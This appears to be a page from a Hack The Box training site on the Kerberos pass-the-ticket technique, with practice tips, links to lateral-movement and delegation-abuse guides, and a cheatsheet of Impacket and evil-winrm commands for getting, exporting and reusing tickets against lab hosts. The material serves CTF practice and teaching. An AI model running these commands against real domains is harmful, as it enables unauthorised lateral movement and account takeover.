Pass the Ticket
Sub-technique of T1550 Use Alternate Authentication Material ↗
Using a stolen or forged Kerberos ticket (TGT or service ticket) to authenticate.
How it shows up on Hack The Box
Export the .ccache in KRB5CCNAME and run the tools with -k -no-pass. Remember to sync your clock with the DC (ntpdate or faketime) and use hostnames, not IPs.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
- Kerberos delegation: unconstrained, constrained and RBCD explained and exploited 4 min read The three kinds of Kerberos delegation in AD, how to find them, and how to abuse each with getST, rbcd.py and addcomputer to impersonate the administrator.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Active Directory in depth › Impacket
TGT (and export it)
Attacker
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccacheEvil-WinRM › Ways to authenticate
With Kerberos (KRB5CCNAME exported and krb5.conf set up)
evil-winrm -i dc01.box.htb -r box.htbImpacket › More examples
Use a Kerberos ticket (no password)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]
Turn a Rubeus ticket (.kirbi) into a Linux one
impacket-ticketConverter ticket.kirbi ticket.ccacheNo command matches.